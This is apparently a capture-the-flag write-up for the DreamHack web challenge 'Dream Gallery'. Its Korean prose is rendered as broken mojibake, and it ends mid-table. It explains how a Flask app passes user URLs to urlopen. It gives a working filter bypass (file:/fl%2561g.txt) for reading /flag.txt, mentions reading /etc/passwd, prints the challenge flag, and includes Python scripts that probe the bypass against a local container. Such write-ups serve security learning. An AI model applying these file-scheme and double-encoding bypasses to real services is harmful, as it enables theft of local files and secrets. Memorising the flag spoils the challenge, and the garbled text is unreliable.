๋ฌธ์ : DreamHack ์๊ฒ์ โ Dream Gallery (id 552) ๋ถ๋ฅ: web ๋์ด๋: ๐ฅ Silver 1 FLAG:
DH{b2037a026b40cc98804e91b5a2a07f54}
์ฃผ์๋ฅผ ๋ฃ์ผ๋ฉด ์๋ฒ๊ฐ ๋์ ๊ฐ์ ธ์ ๊ฐค๋ฌ๋ฆฌ์ ๊ฑธ์ด ์ฃผ๋ ์ฌ์ดํธ๋ค. ๋ฌธ์ ์ค๋ช ๋ ๊ณง์ฅ "์ธ๋ถ๋ก ์์ฒญํ๋ ๊ธฐ๋ฅ์ด ์์ ํ ๊ฑด์ง ๋ชจ๋ฅด๊ฒ ๋ค"๊ณ ๋งํ๊ณ ์์ด์, ๋ฌด์์ ๋ด์ผ ํ๋์ง๋ ์ฒ์๋ถํฐ ๋ถ๋ช ํ๋ค. ์ฌ๋ฏธ์๋ ๋ถ๋ถ์ ์ทจ์ฝ์ ์ ์ฐพ๋ ๊ฒ ์๋๋ผ ํํฐ ์ธ ๊ฒน์ ํ ๋ฒ์ ๋น ์ ธ๋๊ฐ๋ ๋ฌธ์์ด ํ๋๋ฅผ ๋ง๋๋ ๊ฒ์ด์๋ค.

๋ฌธ์ ๊ฐ์
| ํญ๋ชฉ | ๋ด์ฉ |
|---|---|
| ๋ฌธ์ ๋ช | Dream Gallery |
| ๋์ด๋ | ๐ฅ Silver 1 |
| ๋ถ๋ฅ | web |
| ์ ๊ณต ํ์ผ | app.py (64์ค), Dockerfile (17์ค) โ templates/ยทstatic/ ์ ์๋ค |
| ์คํ | Flask + urllib.request.urlopen, Python 3.10, tiangolo/uwsgi-nginx-flask ์ด๋ฏธ์ง |
| ํ๋๊ทธ ์์น | ์ปจํ
์ด๋ ๋ฃจํธ /flag.txt (chmod 444) |
| ํต์ฌ ์ทจ์ฝ์ | urlopen์ ์ฌ์ฉ์ URL์ ๊ทธ๋๋ก ๋๊ฒจ file ์คํด์ผ๋ก ๋ก์ปฌ ํ์ผ ์ฝ๊ธฐ (SSRF โ LFI) |
| ์ฐํํ ํํฐ | url.startswith("file://"), "flag" in url, ๊ทธ๋ฆฌ๊ณ ๊ทธ ์์ .lower() |
๊ณต๊ฒฉ ํ๋ฆ์ ์ธ ์ค์ด๋ฉด ๋๋๋ค. /request์ url=file:/fl%2561g.txt๋ฅผ ๋ณด๋ด๋ฉด ํํฐ๋ฅผ
ํต๊ณผํ๊ณ , urlopen์ด /flag.txt๋ฅผ ์ด์ด ์ฝ๊ณ , ๊ทธ ๋ฐ์ดํธ๊ฐ base64๋ก ์ธ์ฝ๋ฉ๋์ด
/view์ img ํ๊ทธ ์์ ๊ทธ๋๋ก ๋ฐํ๋ค. ๋ธ๋ผ์ฐ์ ์์ ๊นจ์ง ์ด๋ฏธ์ง๋ก ๋ณด์ด๋ ๊ทธ ํญ๋ชฉ์ด
ํ๋๊ทธ๋ค.
๐งฉ ๋ฐฐ๊ฒฝ โ urlopen์ http ์ ์ฉ ํจ์๊ฐ ์๋๋ค
requests.get๋ง ์ฐ๋ค ๋ณด๋ฉด ์๊ธฐ ์ฌ์ด๋ฐ, urllib.request.urlopen์ ์ฌ๋ฌ ์คํด์
์ฒ๋ฆฌํ๋ ๋์คํจ์ฒ๋ค. ์ด์ด ๋ณด๋ฉด ํธ๋ค๋ฌ ๋ชฉ๋ก์ด ์ด๋ ๊ฒ ๋ฑ๋ก๋์ด ์๋ค.
# CPython urllib/request.py โ build_opener() ์์ ๊ธฐ๋ณธ ํธ๋ค๋ฌ ๋ชฉ๋ก.
# ๋ฌธ์ ์ ๊ฐ์ 3.10 ์ปจํ
์ด๋์์ inspect.getsource(urllib.request.build_opener) ๋ก ๋ฝ์๋ค.
default_classes = [ProxyHandler, UnknownHandler, HTTPHandler,
HTTPDefaultErrorHandler, HTTPRedirectHandler,
FTPHandler, FileHandler, HTTPErrorProcessor,
DataHandler]HTTPHandler ์์ FTPHandler, FileHandler, DataHandler๊ฐ ๋๋ํ ์๋ค. ์ฆ
urlopen("ftp://..."), urlopen("file:///etc/passwd"), urlopen("data:text/plain,hi")๊ฐ
์ ๋ถ ๋์ํ๋ค. ์ฌ์ฉ์ ์
๋ ฅ์ ์ด ํจ์์ ๊ทธ๋๋ก ๋๊ธฐ๋ฉด "์ธ๋ถ๋ก ๋๊ฐ๋ ์์ฒญ"๋ง ์ด์ด ์ค ๊ฒ
์๋๋ผ ๋ก์ปฌ ํ์ผ์์คํ
์ฝ๊ธฐ๊น์ง ๊ฐ์ด ์ด์ด ์ค ๊ฒ์ด๋ค. ๋ฌธ์ ์ ๋ชฉ์ด ๊ฐค๋ฌ๋ฆฌ์ธ๋ฐ ์ ๋ต์ด
LFI์ธ ์ด์ ๊ฐ ์ฌ๊ธฐ ์๋ค.
๊ทธ๋ฆฌ๊ณ ์ด ๋ฌธ์ ์ ๋ ๋ฒ์งธ ์ด์ ๋ URI ๋ฌธ๋ฒ ์ชฝ์ ์๋ค. scheme://host/path๊ฐ ์ ์์ฒ๋ผ
๋ณด์ด์ง๋ง, RFC 3986์์ //๋ก ์์ํ๋ authority ๋ถ๋ถ์ ์ ํ์ด๋ค.

์ถ์ฒ: Wikimedia Commons, Alhadis, CC BY-SA 4.0
๊ทธ๋ฆผ์์ scheme โ : ๋ค์์ ๊ฐ๋ฆผ๊ธธ์ ๋ณด๋ฉด ๋๋ค. //๋ฅผ ์ง๋ host๋ก ๊ฐ๋ ๊ธธ๊ณผ,
๊ทธ๊ฑธ ๊ฑด๋๋ฐ๊ณ ๊ณง์ฅ path๋ก ๊ฐ๋ ๊ธธ์ด ๋ ๋ค ์๋ค. ๊ทธ๋์ file:/flag.txt๋
์คํ๊ฐ ์๋๋ผ ๋ฌธ๋ฒ์ ์ผ๋ก ์ ์์ธ URI์ด๊ณ , file:///flag.txt์ ๊ฐ์ ํ์ผ์ ๊ฐ๋ฆฌํจ๋ค.
์ฌ๋์ ๊ฐ์๋ง ๋ค๋ฅด๋ค.
์ด ๋ ๊ฐ์ง๋ฅผ ์๊ณ ๋๋ฉด ๋ฌธ์ ์ ํํฐ๊ฐ ์ ๋ชป ๋ง๋์ง ๋ณด์ธ๋ค.
๐ฌ ์ฝ๋ ์ ์ฐฐ โ ํํฐ๊ฐ ๋ค ๋ค์ด ์๋ ์ด์ธ ์ค
๋ฐฐํฌ๋ณธ์ app.py์ Dockerfile ๋ฑ ๋ ๊ฐ๋ค. templates/๋ static/๋ ์๋ค
(Dockerfile์ ADD ./deploy/templates /app/templates๋ก ๋ฃ์ง๋ง zip์๋ ์๋ค).
๊ทธ๋์ ํ๋ฉด ๊ตฌ์ฑ์ ๋ผ์ด๋ธ ์๋ฒ๋ฅผ ๋ณด๊ณ ํ์ธํด์ผ ํ๋ค.
๋ฌธ์ ์ ์๋ํฌ์ธํธ๋ง ์๋ผ ๋ณด๋ฉด ์ด๋ ๋ค.
nl -ba extracted/app.py | sed -n "16,29p"
ํ ์ค์ฉ ๋ฏ์ด ๋ณด์.
@app.route('/request')
def url_request():
url = request.args.get('url', '').lower() # โ ์๋ฌธ์๋ก ๋ํ๋ค
title = request.args.get('title', '')
if url == '' or url.startswith("file://") or "flag" in url or title == '':
return render_template('request.html') # โ ๊ฑธ๋ฆฌ๋ฉด ํผ๋ง ๋๋๋ ค์ค๋ค
try:
data = urlopen(url).read() # โ ์ฌ๊ธฐ๋ก ๋ค์ด๊ฐ๋ฉด ๋
mini_database.append({title: base64.b64encode(data).decode('utf-8')})
return redirect(url_for('view'))
except:
return render_template("request.html")๊ด๋ฌธ์ ๋ค ๊ฐ๋ค.
| ์กฐ๊ฑด | ๋ง์ผ๋ ค๋ ๊ฒ | ์ค์ ํจ๊ณผ |
|---|---|---|
.lower() | FILE:// ๊ฐ์ ๋์๋ฌธ์ ์ฐํ | ๋์๋ฌธ์ ํธ๋ฆญ์ ์ ๋ถ ์ฃฝ๋๋ค |
url == '' | ๋น ์์ฒญ | ์ฐํ ๋์ ์๋ |
url.startswith("file://") | ๋ก์ปฌ ํ์ผ ์ฝ๊ธฐ | ์ ๋์ด๋ง ๋ณธ๋ค |
"flag" in url | ํ๋๊ทธ ํ์ผ ์ง๋ชฉ | ๋ถ๋ถ ๋ฌธ์์ด๋ง ๋ณธ๋ค |
์ธ ๋ฒ์งธ์ ๋ค ๋ฒ์งธ๊ฐ ์ด ๋ฌธ์ ์ ์ ๋ถ๋ค. ๊ทธ๋ฆฌ๊ณ ๋ ๋ค ๋ฌธ์์ด ๊ทธ ์์ฒด๋ฅผ ๋ณผ ๋ฟ, ๊ทธ ๋ฌธ์์ด์ด ๋์ค์ ์ด๋ค ๊ฒฝ๋ก๋ก ๋ณํ๋๋์ง๋ ๋ณด์ง ์๋๋ค.
title์๋ ์๋ฌด ํํฐ๊ฐ ์๋ค. ๋์ค์ ๊ฐค๋ฌ๋ฆฌ์์ ์ด๋ ํญ๋ชฉ์ด ๋ด ๊ฒ์ธ์ง ์ฐพ๊ธฐ ํธํ๋๋ก
์์๋ณด๊ธฐ ์ฌ์ด ์ ๋ชฉ์ ๋ถ์ด๋ฉด ๋๋ค.
๊ธฐ๋ฅ ํ๋ฉด์ ์ด๋ ๊ฒ ์๊ฒผ๋ค. ์ ๋ ฅ์นธ์ด URL๊ณผ ์ ๋ชฉ ๋๋ฟ์ด๋ผ ์๋ํด ๋ณผ ์กฐํฉ์ด ๋ง์ง ์๋ค.

์ฝ์ ๋ฐ์ดํธ๊ฐ ์ด๋๋ก ๊ฐ๋์ง๋ ๋ฏธ๋ฆฌ ํ์ธํด ๋๋ฉด ์ข๋ค. base64.b64encode(data)๊ฐ
mini_database์ ์์ด๊ณ /view ํ
ํ๋ฆฟ์ด ๊ทธ๊ฒ์ data:image/png;base64,...๋ก ๊ฐ์
img ํ๊ทธ์ ๋ฃ๋๋ค. ํ๋๊ทธ๋ PNG๊ฐ ์๋๋ฏ๋ก ๋ธ๋ผ์ฐ์ ์์๋ ๊นจ์ง ์ด๋ฏธ์ง ์์ด์ฝ์ผ๋ก
๋ณด์ธ๋ค. ๊ทธ๋ฆผ์ด ์ ๋์จ๋ค๊ณ ์คํจํ ๊ฒ ์๋๋ผ, ๊ทธ ์๋ฆฌ์ ํ
์คํธ๊ฐ ๋ค์ด ์๋ ๊ฒ์ด๋ค.
๐งช ๋ก์ปฌ ์ฌํ โ ๋ฐฐํฌ๋ณธ Dockerfile ์ ๊ทธ๋๋ก ์ธ์ด๋ค
๋ผ์ด๋ธ ์๋ฒ๋ฅผ ์ผ๊ธฐ ์ ์ ๋ก์ปฌ์์ ๋ค ๋๋ด ๋๋ ํธ์ด ๋ซ๋ค. ํํฐ๋ฅผ ๋ช ๋ฒ์ด๋ ์ฐ๋ฌ ๋ด์ผ ํ๋๋ฐ, ๊ทธ๊ฑธ ๋ฌธ์ ์๋ฒ์ ํ๊ณ ์ถ์ง ์์๋ค.
๋ฐฐํฌ๋ณธ Dockerfile์ ๊ทธ๋๋ก ์ธ ์ ์๋ค. ๋น ์ง templates/, static/๋ง app.py๊ฐ
์ฐ๋ ๋ฐฉ์(img_list๊ฐ {์ ๋ชฉ: base64} ๋์
๋๋ฆฌ์ ๋ฆฌ์คํธ)์ ๋ง์ถฐ ์ต์ํ์ผ๋ก ์ฑ์ ๊ณ ,
flag.txt์๋ ๋น์ฐํ ๋๋ฏธ๋ฅผ ๋ฃ์๋ค.
#!/usr/bin/env bash
# Dream Gallery โ ๋ก์ปฌ ์ฌํ ํ๊ฒฝ ๊ตฌ์ถ. ๋ฐฐํฌ๋ณธ Dockerfile ์ ๊ทธ๋๋ก ์ฐ๊ณ ,
# zip ์ ์๋ templates/static ๋ง app.py ์ ์ฌ์ฉ๋ฒ์ ๋ง์ถฐ ์ต์๋ก ์ฑ์ด ๊ฒ์ด๋ค.
# flag.txt ๋ ๋น์ฐํ ๋๋ฏธ(DH{LOCAL_DUMMY_NOT_THE_REAL_FLAG}).
set -eu
cd "$(dirname "$(readlink -f "$0")")"
docker build -q -t dream-gallery-local:latest local/
docker rm -f dream-gallery-local >/dev/null 2>&1 || true
docker run -d --name dream-gallery-local -p 8552:80 dream-gallery-local:latest >/dev/null
for _ in $(seq 20); do
code=$(curl -s -o /dev/null -w '%{http_code}' http://127.0.0.1:8552/view || true)
[ "$code" = "200" ] && break
sleep 1
done
echo "container : $(docker inspect -f '{{.State.Status}}' dream-gallery-local)"
echo "python : $(docker exec dream-gallery-local python3 -V)"
echo "flag.txt : $(docker exec dream-gallery-local ls -l /flag.txt)"
echo "GET /view : HTTP $code"
ํ์ด์ฌ ๋ฒ์ ์ ํ์ธํ ์ด์ ๊ฐ ์๋ค. urllib์ file ์คํด ์ฒ๋ฆฌ๋ ๋ฒ์ ์ ๋ฐ๋ผ ์์ด
๋ค์ด๊ฐ ์ ์ด ์์ด์, ๋ด ๋ฐ์คํฌํฑ(3.13)์์ ๋๋ ๊ฒ ๋ฌธ์ ํ๊ฒฝ(3.10)์์๋ ๋๋ค๋ ๋ณด์ฅ์ด
์๋ค. ์ปจํ
์ด๋๊ฐ 3.10.20์ด๋ผ๋ ๊ฑธ ๋์ผ๋ก ๋ณด๊ณ ๋์์ผ ๊ทธ ์์์ ์คํํ๋ค.
๐ ์ฝ์ง โ ํ ๊ฒน์ฉ ๋ฒ๊ฒจ ๋ณด๋ฉฐ ํ์ธํ ๊ฒ๋ค
์ฐํ ํ๋ณด๋ฅผ ํ๋์ฉ ๋ฃ์ด ๋ณด๋ฉฐ ์ด๋์ ๊ฑธ๋ฆฌ๋์ง ํ์ธํ๋ค. ์์ค๋ฅผ ์ฝ์์ผ๋ ์ฒ์ ๋ ๊ฐ๋ ๋งํ ๊ฑธ ์๋ฉด์ ๋ฃ์ ๊ฒ์ธ๋ฐ, ๋งํ์ ๋ ์๋ฒ๊ฐ ๋ฌด์์ ๋๋ ค์ฃผ๋์ง๋ฅผ ๋จผ์ ๋ด ๋ฌ์ผ ์ดํ ์คํ ๊ฒฐ๊ณผ๋ฅผ ์ฝ์ ์ ์๋ค. ์ธ ๋ฒ์งธ๋ ์์๊ณผ ๋ฌ๋ผ์ ๋ฐ๋ก ์ธก์ ํด์ผ ํ๋ค.
โถ๐ ์ฝ์ง 1 โ ์ ๊ณต๋ฒ file:///flag.txt ๋ ์ ๋์ด์์ ๊ฑธ๋ฆฐ๋ค
์ ์๋๋ก file:///flag.txt๋ถํฐ.

์ ์กํ๋ฉด ์ฃผ์์ฐฝ์๋ ์์ฒญ์ด ๊ฐ๋ค๋ ํ์ ์ด ๋จ๋๋ฐ ํ๋ฉด์ ๋น ํผ์ผ๋ก ๋๋์์จ๋ค.
return render_template('request.html')์ ํ ๊ฒ์ด๋ค.

์ฌ๊ธฐ์ ์์ ๋ ๊ฒ ํ๋ ์๋ค. ์ด ๋ฌธ์ ๋ ์คํจํด๋ ์๋ฌ ๋ฉ์์ง๋ฅผ ์ฃผ์ง ์๋๋ค.
except: ๋ก ๋ญ๊ฐ ๋์๊ธฐ ๋๋ฌธ์ "ํํฐ์ ๊ฑธ๋ฆฐ ๊ฒ"๊ณผ "urlopen์ด ์์ธ๋ฅผ ๋ธ ๊ฒ"์ด
ํ๋ฉด์ ๊ตฌ๋ถ๋์ง ์๋๋ค. ๊ฒฝ๋ก๋ฅผ ์๋ชป ์ผ๋์ง ํํฐ์ ๋งํ๋์ง ํ๋ฉด๋ง ๋ณด๊ณ ๋ ๋ชจ๋ฅธ๋ค.
๊ทธ๋์ ๋ค์์ ์ํ์ค๋ก ํ์ ํ๋ ์คํฌ๋ฆฝํธ๋ฅผ ๋ฐ๋ก ๋ง๋ค์๋ค. ํ๋ฉด ๋์ 200์ด๋
302๋๋ฅผ ๋ณธ๋ค.
โถ๐ ์ฝ์ง 2 โ ์ฌ๋์๋ง ์ค์ฌ๋ ์ด๋ฒ์ flag ๋ผ๋ ๋ค ๊ธ์๊ฐ ๊ฑธ๋ฆฐ๋ค
startswith("file://")์ ์ ๋์ด๋ง ๋ณด๋๊น ์ฌ๋์๋ฅผ ํ๋ ์ง์ด๋ค. file:/flag.txt.

๋ ๋น ํผ์ด๋ค. ์กฐ๊ฑด์ด or๋ก ์ด์ด์ ธ ์์ผ๋ ์ ๋์ด๋ฅผ ํผํด๋ "flag" in url์ด ๋จ๋๋ค.
๋ ๊ด๋ฌธ์ ๋์์ ๋์ด์ผ ํ๋ค.
๊ทธ๋ฌ๋ฉด flag๋ผ๋ ๊ธ์๋ฅผ ์ ์ฐ๋ฉด์ /flag.txt๋ฅผ ๊ฐ๋ฆฌ์ผ์ผ ํ๋ค. ํ๋ณด๋ ๋ ๊ฐ๋์๋ค.
- ๊ฒฝ๋ก ํธ๋ฆญ:
/etc/../flag.txtโflag๊ฐ ๊ทธ๋๋ก ๋จ์ผ๋ ์ด๊ฒ๋ง์ผ๋ก๋ ์๋ฏธ๊ฐ ์๋ค. - ์ธ์ฝ๋ฉ:
/fl%61g.txtโ%61์a์ ํผ์ผํธ์ธ์ฝ๋ฉ์ด๋ค.
๋ ๋ฒ์งธ๊ฐ ๋ง๋ ๋ฐฉํฅ์ด์๋ค. ๋ค๋ง ๊ฒน์๋ฅผ ๋ง์ถ๋ ๋ฐ์ ํ ๋ฒ ๋ ๊ฑธ๋ฆฐ๋ค.
โถ๐ ์ฝ์ง 3 โ ๋ธ๋ผ์ฐ์ ์์ ๋๋ ๊ฐ์ด ์คํฌ๋ฆฝํธ์์๋ ๋งํ๋ค
%61์ ํ ๊ฒน๋ง ์จ์ ?url=file:/fl%61g.txt๋ก ๋ณด๋ด๋ฉด ๋งํ๋ค. ์ด์ ๋ ์์๋ค.
request.args.get('url')์ด ๋๋ ค์ฃผ๋ ๊ฐ์ ์ด๋ฏธ ํผ์ผํธ๋์ฝ๋ฉ์ด ๋๋ ๋ฌธ์์ด์ด๋ค.
๊ทธ๋ฌ๋ %61์ด๋ผ๊ณ ๋ณด๋ด๋ฉด ํํฐ๊ฐ ๋ณด๋ ๊ฐ์ file:/flag.txt๊ฐ ๋์ด ์๋ค.
ํผํ๋ ค๋ ๊ทธ ๋ฌธ์์ด๋ก ๋๋์๊ฐ ๊ฒ์ด๋ค. %๋ฅผ ๋ค์ %25๋ก ๊ฐ์ธ %2561๋ก ๋ณด๋ด์ผ
1์ฐจ ๋์ฝ๋ฉ ํ์ %61์ด ๋จ๋๋ค.
์ฌ๊ธฐ์ ์ค์ ๋ก ๊ฑธ๋ฆฐ ์ง์ ์ ๋ฐ๋ก ์์๋ค. ์คํฌ๋ฆฝํธ๋ก ํ์ ํ ํ์ด๋ก๋๋ฅผ ๋ธ๋ผ์ฐ์ ์บก์ณ์ฉ์ผ๋ก ํผ์ ์ฎ๊ฒจ ์ ์ ๋, ํ ๊ฒน๋ง ์จ๋ ํต๊ณผํด์ ์์ ๊ฒฐ๋ก ๊ณผ ์ด๊ธ๋ฌ๋ค. ์ธต์๋ฅผ ์ฌ ๋ดค๋ค.
์์ธ์ ๋ธ๋ผ์ฐ์ ์๋ค. ํผ ๊ฐ์ ์ ์กํ ๋ ๋ธ๋ผ์ฐ์ ๊ฐ %๊น์ง %25๋ก ์ธ์ฝ๋ฉํ๋ฏ๋ก,
์ฌ๋์ด ํ ๊ฒน๋ง ์จ๋ ์๋ฒ์๋ ๋ ๊ฒน์ผ๋ก ๋์ฐฉํ๋ค.
#!/usr/bin/env python3
"""๋ธ๋ผ์ฐ์ ํผ(GET) ๊ฒฝ์ ์ raw URL ์งํ์ ์ธ์ฝ๋ฉ ์ธต์ ์ฐจ์ด๋ฅผ ๋ก์ปฌ ์ฌํ์ผ๋ก ํ์ธ."""
import urllib.parse, urllib.request
BASE = "http://127.0.0.1:8552"
def hit(query: str) -> str:
url = f"{BASE}/request?{query}&title=probe"
body = urllib.request.urlopen(url, timeout=10).read().decode("utf-8", "replace")
return "ํต๊ณผ โ urlopen ์คํ" if "data:image" in body else "์ฐจ๋จ โ request.html"
TYPED = "file:/fl%61g.txt" # ์ฌ๋์ด ํผ ์
๋ ฅ์นธ์ ํ์ดํํ๋ ๊ฐ (ํ ๋ฒ๋ง ์ธ์ฝ๋ฉ)
# โ ๋ธ๋ผ์ฐ์ ํผ submit: ๋ธ๋ผ์ฐ์ ๊ฐ ๊ฐ ์ ์ฒด๋ฅผ percent-encode ํ๋ค
form = urllib.parse.urlencode({"url": TYPED})
print(f"[ํผ submit] ์
๋ ฅ์นธ: {TYPED}")
print(f" ์ ์ก๊ฐ: {form}")
print(f" ๊ฒฐ๊ณผ : {hit(form)}")
print()
# โก raw URL ์งํ: ์ธ์ฝ๋ฉ ์์ด ๊ทธ๋๋ก ์ฟผ๋ฆฌ์คํธ๋ง์ ๋ฐ๋๋ค
print(f"[raw ์งํ] ์ ์ก๊ฐ: url={TYPED}")
print(f" ๊ฒฐ๊ณผ : {hit('url=' + TYPED)}")
print()
# โข raw URL ์ด์ค์ธ์ฝ๋ฉ
DOUBLE = "file:/fl%2561g.txt"
print(f"[raw ์ด์ค] ์ ์ก๊ฐ: url={DOUBLE}")
print(f" ๊ฒฐ๊ณผ : {hit('url=' + DOUBLE)}")
์ ์ก๊ฐ ์นธ์ ๋ณด๋ฉด ๋ต์ด ๋์จ๋ค. ํผ์ผ๋ก ๋ณด๋ธ ๊ฐ์ url=file%3A%2Ffl%2561g.txt๋ค.
๋ธ๋ผ์ฐ์ ๊ฐ :์ /๋ฟ ์๋๋ผ %๊น์ง ์ธ์ฝ๋ฉํ๋ค. ์์ผ๋ก ์กฐ๋ฆฝํ ๋๋ ๊ทธ ๋ชซ์
๋ด๊ฐ ํด์ผ ํ๋ค.
๐ฃ ํต์ฌ โ ํํฐ๊ฐ ๋ณด๋ ๋ฌธ์์ด๊ณผ open์ด ๋ฐ๋ ๊ฒฝ๋ก๊ฐ ๋ค๋ฅด๋ค
์ ๋ฆฌํ๋ฉด ์ฐํ๋ ๋ ์ถ์ด๊ณ , ๊ฐ๊ฐ ๊ทผ๊ฑฐ๊ฐ ๋ค๋ฅธ ๊ณณ์ ์๋ค.
์ถ 1 โ file:/๊ฐ ์ ํตํ๋๊ฐ. Request ๊ฐ์ฒด๊ฐ URL์ ์ชผ๊ฐค ๋
_splithost๋ //๋ก ์์ํ์ง ์์ผ๋ฉด host๋ฅผ ์ก์ง ์๊ณ ์ ์ฒด๋ฅผ selector๋ก ๋๊ธด๋ค.
๊ทธ๋ฆฌ๊ณ FileHandler.file_open์ selector๊ฐ //๋ก ์์ํ ๋๋ง ํธ์คํธ ๊ฒ์ฌ๋ฅผ ํ๊ณ ,
์๋๋ฉด ๊ณง๋ฐ๋ก open_local_file๋ก ๊ฐ๋ค.
์ถ 2 โ %61์ด ์ ํ๋ฆฌ๋๊ฐ. open_local_file์ selector๋ฅผ ๊ทธ๋๋ก ์ด์ง ์๊ณ
url2pathname()์ ๊ฑฐ์น๋ค. posix ๊ตฌํ์ ์ฌ์ค์ unquote ํ ์ค์ด๋ค.
๋ง๋ก๋ง ํ๋ฉด ๋๊ฒจ์ง์ ๊ฒ์ฒ๋ผ ๋ณด์ด๋, ๋ฌธ์ ์ ๊ฐ์ 3.10 ์ปจํ ์ด๋ ์์์ ํ์ค ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ์ง์ ๋ฏ์ด ํ์ธํ๋ค.
#!/usr/bin/env python3
"""urlopen ์ด ์ `file:/` ํ ์ฌ๋์๋ฅผ ๋ฐ์์ฃผ๊ณ ์ %61 ์ ํ์ด์ฃผ๋์ง ๋ฐํ์์ผ๋ก ํ์ธ."""
from urllib.request import Request, url2pathname, urlopen
import urllib.request
import inspect
import os
print("=== 1. Request ํ์ฑ: host / selector ===")
for full in ("file:///flag.txt", "file:/flag.txt", "file:/fl%61g.txt"):
r = Request(full)
print(f" {full:22} type={r.type:5} host={r.host!r:8} selector={r.selector!r}")
print()
print("=== 2. FileHandler.file_open ์ ๋ถ๊ธฐ ์กฐ๊ฑด ===")
src = inspect.getsource(urllib.request.FileHandler.file_open)
print("".join(" " + l for l in src.splitlines(keepends=True)))
print("=== 3. url2pathname (posix) ๊ตฌํ ===")
for line in inspect.getsource(url2pathname).splitlines():
print(" " + line)
print()
print("=== 3-b. url2pathname ์ ์ฉ ๊ฒฐ๊ณผ ===")
for sel in ("/flag.txt", "/fl%61g.txt", "/fl%2561g.txt"):
print(f" {sel:16} -> {url2pathname(sel)!r}")
print()
print("=== 4. ๊ทธ๋์ ์ค์ ๋ก ์ด๋ฆฌ๋๊ฐ ===")
os.makedirs("/tmp/dg", exist_ok=True)
open("/tmp/dg/flag.txt", "w").write("PROBE_FLAG_CONTENT\n")
for u in ("file:/tmp/dg/flag.txt", "file:/tmp/dg/fl%61g.txt"):
try:
print(f" {u:28} -> {urlopen(u).read()!r}")
except Exception as e:
print(f" {u:28} -> {type(e).__name__}: {e}")docker cp probe_urllib.py dream-gallery-local:/tmp/ && \
docker exec dream-gallery-local python3 /tmp/probe_urllib.py
์ฝ์ ๊ณณ์ ๋ค ๊ตฐ๋ฐ๋ค.
- 1๋ฒ ๋ธ๋ก:
file:///flag.txt๋host='',file:/flag.txt๋host=None์ธ๋ฐ selector๋ ๋ ๋ค/flag.txt๋ก ๊ฐ๋ค. ์ฌ๋์ ํ๋ ์ฐจ์ด๋ ํ์ผ ๊ฒฝ๋ก์ ์๋ฌด ์ํฅ์ด ์๋ค. - 2๋ฒ ๋ธ๋ก:
inspect.getsource๋ก ๋ฝ์๋ธ ์ค์ file_open๋ณธ๋ฌธ์ด๋ค. ์กฐ๊ฑด์ดurl[:2] == '//'๋๊น selector๊ฐ/flag.txt์ธ ์ฐ๋ฆฌ ์์ฒญ์else๋ก ๋น ์ ธopen_local_file(req)๋ก ์งํํ๋ค. ํธ์คํธ ๊ฒ์ฌ ์์ฒด๊ฐ ์คํ๋์ง ์๋๋ค. - 3๋ฒ ๋ธ๋ก:
url2pathname์ ๋ชธํต์ดreturn unquote(pathname)ํ ์ค์ด๋ค. - 3-b ๋ธ๋ก: ๊ทธ๋์
/fl%61g.txt๊ฐ/flag.txt๋ก ๋ฐ๋๋ค. ํ ๊ฒน ๋ ๊ฐ์ผ/fl%2561g.txt๋/fl%61g.txt๊น์ง๋ง ํ๋ฆฐ๋ค โ ๋์ฝ๋ฉ์ ์ธต๋ง๋ค ํ ๋ฒ์ฉ์ด๋ค. - 4๋ฒ ๋ธ๋ก: ๋๋ฏธ ํ์ผ๋ก ์ค์ ๋ก ์ด์ด ๋ณธ ๊ฒฐ๊ณผ. ๋ ํํ ๋ชจ๋ ๊ฐ์ ๋ด์ฉ์ ์ฝ์ด ์จ๋ค.
์ด ๋ค ๊ฐ์ง๋ฅผ ํ๋๋ก ์ด์ผ๋ฉด ๊ทธ๋ฆผ์ด ๋๋ค.

ํํฐ๊ฐ ๊ฒ์ฌํ๋ ๋ฌธ์์ด์ โก๋ฒ ์ค์ด๊ณ , open์ด ๋ฐ๋ ๊ฒฝ๋ก๋ โฃ๋ฒ ์ค์ด๋ค.
๊ทธ ์ฌ์ด์ ๋์ฝ๋ฉ์ด ํ ๋ฒ ๋ ์์ผ๋, ๋ฌธ์์ด ๊ฒ์ฌ๋ก ํ์ผ ๊ฒฝ๋ก๋ฅผ ๋ง๊ฒ ๋ค๋ ๋ฐ์์ด
์ฑ๋ฆฝํ์ง ์๋๋ค.
์ ์ ํ์ธ โ ์ด๋ ์กฐํฉ์ด ํต๊ณผํ๋๊ฐ
๊ฐ์ค์ ์ธ์ด ๋ค์๋ ์กฐํฉ์ ํ๊บผ๋ฒ์ ๋๋ ค ํ๋ก ๋ง๋ค์๋ค. ๋ก์ปฌ ์ฌํ ์ปจํ ์ด๋๋ผ ๋ง์๊ป ๋๋๋ ค๋ ๋๋ค.
#!/usr/bin/env python3
"""Dream Gallery โ /request ํํฐ๊ฐ ๋ฌด์์ ๋ง๊ณ ๋ฌด์์ ํต๊ณผ์ํค๋์ง ๋ก์ปฌ ์ฌํ์ผ๋ก ์ ์ ํ์ธ."""
import urllib.request, urllib.error
BASE = "http://127.0.0.1:8552"
# (๋ผ๋ฒจ, url ํ๋ผ๋ฏธํฐ์ ๊ทธ๋๋ก ์ค์ด๋ณด๋ผ raw ๋ฌธ์์ด)
CASES = [
("file:// 3์ฌ๋์ (์ ๊ณต๋ฒ)", "file:///flag.txt"),
("file:// + ์ธ์ฝ๋ฉ", "file:///fl%2561g.txt"),
("file:/ 1์ฌ๋์ + ํ๋ฌธ flag", "file:/flag.txt"),
("file:/ 1์ฌ๋์ + %61 (1์ค)", "file:/fl%61g.txt"),
("file:/ 1์ฌ๋์ + %2561 (2์ค)", "file:/fl%2561g.txt"),
("file:/ + ๊ฒฝ๋ก์ฐํ ../", "file:/etc/../fl%2561g.txt"),
]
for label, raw in CASES:
url = f"{BASE}/request?url={raw}&title=probe"
try:
r = urllib.request.urlopen(url, timeout=10)
body = r.read().decode("utf-8", "replace")
# ์ฑ๊ณตํ๋ฉด /view ๋ก ๋ฆฌ๋ค์ด๋ ํธ๋์ด ๊ฐค๋ฌ๋ฆฌ HTML(<img src="data:) ์ด ์จ๋ค.
ok = "data:image" in body
print(f"{'ํต๊ณผ โ urlopen ์คํ' if ok else '์ฐจ๋จ โ request.html':22} | {label:28} | {raw}")
except urllib.error.HTTPError as e:
print(f"{'HTTP '+str(e.code):22} | {label:28} | {raw}")
์ฌ์ฏ ์ค์ด ๋ฑ ๊ฐ๋ฆฐ๋ค.
| ๋ณด๋ธ ๊ฐ | ๊ฒฐ๊ณผ | ๊ฑธ๋ฆฐ ์กฐ๊ฑด |
|---|---|---|
file:///flag.txt | ์ฐจ๋จ | ์ ๋์ด + flag ๋ ๋ค |
file:///fl%2561g.txt | ์ฐจ๋จ | ์ ๋์ด |
